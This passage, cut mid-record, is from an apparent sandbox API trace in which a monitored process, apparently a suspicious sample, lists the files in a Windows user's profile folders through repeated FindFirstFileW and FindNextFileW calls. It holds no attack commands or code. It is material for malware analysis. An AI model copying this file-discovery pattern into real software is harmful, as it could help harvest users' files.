ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 0xffffffff [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.422] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0059.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.423] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.423] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.423] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.423] PathFindFileNameW (pszPath="") returned="" [0059.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.423] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.423] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.423] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.423] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0059.423] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.423] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.423] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.423] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0059.424] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.424] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.424] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.424] PathFindFileNameW (pszPath="") returned="" [0059.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.424] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.424] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.424] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0059.424] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0059.424] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0059.424] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.424] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.424] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0059.424] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.424] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.425] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.425] PathFindFileNameW (pszPath="") returned="" [0059.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0059.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.425] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.425] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0059.425] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.425] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.425] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.425] PathFindFileNameW (pszPath="") returned="" [0059.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0059.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.425] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.426] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0059.426] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.426] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.426] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.426] PathFindFileNameW (pszPath="") returned="" [0059.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0059.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.426] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.426] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0059.426] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.426] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.426] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.426] PathFindFileNameW (pszPath="") returned="" [0059.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa882430, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa882430, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.426] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa882430, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa882430, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.426] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.427] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc161a830, ftCreationTime.dwHighDateTime=0x1d4c5cc, ftLastAccessTime.dwLowDateTime=0x6283aba0, ftLastAccessTime.dwHighDateTime=0x1d4ca14, ftLastWriteTime.dwLowDateTime=0x6283aba0, ftLastWriteTime.dwHighDateTime=0x1d4ca14, nFileSizeHigh=0x0, nFileSizeLow=0x7414, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M45yR7c437.avi", cAlternateFileName="M45YR7~1.AVI")) returned 1 [0059.427] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5aa9370, ftCreationTime.dwHighDateTime=0x1d4d376, ftLastAccessTime.dwLowDateTime=0x2fb0c790, ftLastAccessTime.dwHighDateTime=0x1d4cf68, ftLastWriteTime.dwLowDateTime=0x2fb0c790, ftLastWriteTime.dwHighDateTime=0x1d4cf68, nFileSizeHigh=0x0, nFileSizeLow=0x12d33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReEw7jE5wqOg.swf", cAlternateFileName="REEW7J~1.SWF")) returned 1 [0059.427] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x514adce0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x514adce0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcVOmt", cAlternateFileName="")) returned 1 [0059.427] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x514adce0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x514adce0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcVOmt", cAlternateFileName="")) returned 0 [0059.427] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119608 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6018 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119558 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119500 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119660 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5fb0 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6220 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6288 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31199d0 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f62f0 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119a28 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119a80 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119ad8 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119b30 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6428 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119b88 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119be0 | out: hHeap=0x670000) returned 1 [0059.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0059.428] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f60e8 | out: hHeap=0x670000) returned 1 [0059.428] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31195b0 | out: hHeap=0x670000) returned 1 [0059.428] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310a580 | out: hHeap=0x670000) returned 1 [0059.428] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.428] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.428] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0059.428] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0059.428] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.428] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.428] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.428] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.428] PathFindFileNameW (pszPath="") returned="" [0059.428] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.428] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d438 | out: hHeap=0x670000) returned 1 [0059.428] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.428] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0059.428] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0059.428] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0059.428] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0059.429] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.429] HeapFree (in: hHeap=0x670000, 